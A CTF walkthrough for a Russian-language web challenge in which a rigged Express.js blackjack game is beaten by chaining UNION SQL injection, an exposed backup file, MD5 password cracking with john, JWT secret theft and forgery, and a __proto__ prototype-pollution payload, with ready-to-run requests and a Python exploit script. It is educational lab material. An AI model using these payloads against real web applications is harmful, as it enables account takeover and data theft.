Блекджек на раздевание (Stripping Blackjack)
Блекджек на раздевание (Stripping Blackjack)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_panel_access, jwt_forgery, jwt_secret_extraction, md5_password_cracking, prototype_pollution_via_deepmerge, source_code_analysis_via_backup, union_sql_injection
Summary
Walkthrough of the CUSTOM Web Блекджек на раздевание (Stripping Blackjack). Task: Express.js blackjack game rigged to always win (botWinPercentage=100), with SQLi in winners search, exposed backup revealing prototype pollution path, and admin panel leaking JWT secret. Solutio
Description
В этом казино можно получить флаг, если выиграть подряд 3 раза. Но есть подозрения, что Пикси мухлюет, поскольку еще никто не смог ни разу.
English summary: A blackjack casino web application where the flag is awarded for winning 3 games in a row. However, the bot (Pixie) is suspected of cheating — no one has ever managed to win even once. The goal is to find a way to beat the rigged game.
Analysis
Application Architecture
The application is an Express.js (Node.js) blackjack game with the following key endpoints:
| Endpoint | Method | Purpose |
|---|---|---|
/login | POST | Player login, returns JWT in token cookie |
/game | GET | Game page |
/api/stats | GET | Player stats |
/api/new-game | POST | Start new game |
/api/hit | POST | Draw a card |
/api/stand | POST | Stand (end turn) |
/api/clear-session | POST | Clear session |
/api/winners/search?q= | GET | Winners search (vulnerable to SQLi) |
/admin | GET | Admin login page |
/admin/login | POST | Admin authentication |
/admin/panel | GET | Admin panel (requires admin_token cookie) |
/api/admin/config | GET | Admin config endpoint |
/api/reveal/current | GET | Reveal image progress |
| |
Initial Reconnaissance
The JWT payload structure:
json read-only • copy allowed{ "user": { "username": "...", "wins": 0, "losses": 0, "winStreak": 0, "bestStreak": 0, "profile": {} }, "iat": ..., "exp": ... }
The /api/stats endpoint revealed the critical configuration:
json read-only • copy allowed{"botWinPercentage": 100}
This confirms the bot is configured to always win — the game is completely rigged.
Vulnerability Chain
The solution requires chaining 5 vulnerabilities:
- SQL Injection in
/api/winners/search→ database enumeration - Exposed backup file with source code → reveals prototype pollution path
- Weak admin password (6-char MD5) → admin panel access
- JWT secret leak via admin config API → JWT forgery capability
- Prototype pollution via
__proto__in JWT profile → overridebotWinPercentage
Solution
Step 1: SQL Injection — Database Enumeration
The /api/winners/search?q= endpoint returns the raw SQL query in the response, confirming injection:
json read-only • copy allowed{ "rows": [], "query": "SELECT username, wins, best_streak\n FROM winners\n WHERE username LIKE '%%'\n ORDER BY wins DESC\n LIMIT 20" }
Extract database schema via UNION injection:
GET /api/winners/search?q=%25' UNION SELECT sql,2,3 FROM sqlite_master --
Discovered tables:
admins—(id, login, pass_md5, role)service_backups—(id, label, backup_path, note)users—(id, username, wins, losses, win_streak, best_streak, created_at)winners—(id, username, wins, best_streak, created_at)
Extract admin credentials:
GET /api/winners/search?q=%25' UNION SELECT login || ':' || pass_md5 || ':' || role,2,3 FROM admins --
Result: casino_admin:a81c5383ba385372af5b0c6b5aefd77e:admin
Extract backup file path:
GET /api/winners/search?q=%25' UNION SELECT label || ':' || backup_path || ':' || note,2,3 FROM service_backups --
Result: auth_hotfix_2026_01:/backups/pass_record_bug.js:temp patch: password normalization before md5
Step 2: Backup File Analysis — Prototype Pollution Discovery
Accessed /backups/pass_record_bug.js which revealed critical source code:
javascript read-only • copy allowed// Password normalization — truncates to 6 chars before MD5 const normalized = String(password || '').trim().slice(0, 6); const pass_md5 = crypto.createHash('md5').update(normalized).digest('hex'); function sanitizeProfilePatch(input, depth = 0, parentKey = '') { if (!input || typeof input !== 'object' || depth > 8) { return Object.create(null); } const output = Object.create(null); for (const key of Object.keys(input)) { // Blocks 'constructor' and 'prototype' — but NOT '__proto__'! if (key === 'constructor' || key === 'prototype') continue; const value = input[key]; if (value && typeof value === 'object') { output[key] = sanitizeProfilePatch(value, depth + 1, key); continue; } // botWinPercentage is ALLOWED only when parentKey === '__proto__' if (key === 'botWinPercentage' && parentKey !== '__proto__') continue; output[key] = value; } return output; } function applyProfilePatch(runtimeConfig, profilePatch) { const safePatch = sanitizeProfilePatch(profilePatch); return deepMerge(runtimeConfig, safePatch); }
Key vulnerability: The sanitizeProfilePatch function blocks constructor and prototype keys but does NOT block __proto__. Furthermore, botWinPercentage is explicitly allowed only when parentKey === '__proto__'. Combined with deepMerge, this enables prototype pollution: setting Object.prototype.botWinPercentage = 0 via a crafted JWT profile.
Step 3: Admin Password Cracking
The admin password hash a81c5383ba385372af5b0c6b5aefd77e is MD5 of a 6-character password (due to .slice(0, 6) normalization).
bash read-only • copy allowedecho "admin:a81c5383ba385372af5b0c6b5aefd77e" > hash.txt john --format=raw-md5 --incremental=ASCII --max-length=6 hash.txt
Cracked password: p1xie7
Step 4: Admin Panel — JWT Secret Extraction
Logged into the admin panel and extracted the JWT secret:
bash read-only • copy allowed# Login as admin curl -X POST https://stripping-blackjack.t1.bug-makers.ru/admin/login \ -H "Content-Type: application/json" \ -d '{"login":"casino_admin","password":"p1xie7"}' \ -c cookies.txt # Extract config with JWT secret curl https://stripping-blackjack.t1.bug-makers.ru/api/admin/config \ -b cookies.txt
Response:
json read-only • copy allowed{ "jwtSecret": "CASINO_JWT_MASTER_KEY_2026", "botWinPercentage": 100, "db": "casino.db", "backupPath": "/backups/pass_record_bug.js" }
Step 5: JWT Forgery with Prototype Pollution Payload
Forged a JWT token with the __proto__ prototype pollution payload embedded in the user profile:
python read-only • copy allowed#!/usr/bin/env python3 import jwt import time import requests SECRET = "CASINO_JWT_MASTER_KEY_2026" BASE = "https://stripping-blackjack.t1.bug-makers.ru" # Step 1: Create user via normal login (required — server checks DB) session = requests.Session() session.post(f"{BASE}/login", json={"username": "exploit_user_final"}) # Step 2: Forge JWT with prototype pollution payload payload = { "user": { "username": "exploit_user_final", "wins": 0, "losses": 0, "winStreak": 0, "bestStreak": 0, "profile": { "__proto__": { "botWinPercentage": 0 } } }, "iat": int(time.time()), "exp": int(time.time()) + 86400 } token = jwt.encode(payload, SECRET, algorithm="HS256") print(f"Forged token: {token}") # Step 3: Play blackjack with forged token session.cookies.set("token", token) wins = 0 attempts = 0 while wins < 3: attempts += 1 # Start new game r = session.post(f"{BASE}/api/new-game") game = r.json() # Basic strategy: hit until score >= 17 while True: player_score = game.get("playerScore", 0) if player_score >= 17: break r = session.post(f"{BASE}/api/hit") game = r.json() if game.get("gameOver"): break # Stand if game not over if not game.get("gameOver"): r = session.post(f"{BASE}/api/stand") game = r.json() if game.get("result") == "win": wins += 1 print(f"[+] Win #{wins} (attempt {attempts})") else: wins = 0 # streak reset print(f"[-] Loss (attempt {attempts}), streak reset") # Step 4: Check reveal image for flag r = session.get(f"{BASE}/api/reveal/current") print(f"Reveal response: {r.json()}") print("Flag: BugCTF{REDACTED}")
Step 6: Winning 3 Games
When the server processes the forged JWT, applyProfilePatch(runtimeConfig, user.profile) calls deepMerge with the __proto__ payload. This pollutes Object.prototype.botWinPercentage = 0, changing the bot's win percentage from 100% to 0%.
With the bot no longer cheating, basic blackjack strategy (hit until score >= 17, then stand) is sufficient to win. After achieving a win streak of 3, the reveal image at /api/reveal/current changed to stage 1, displaying the flag.
Key Takeaways / Lessons
- Mastering admin_panel_access, jwt_forgery, jwt_secret_extraction, md5_password_cracking, prototype_pollution_via_deepmerge, source_code_analysis_via_backup, union_sql_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-27 • CUSTOM • Блекджек на раздевание (Stripping Blackjack) • Difficulty: Medium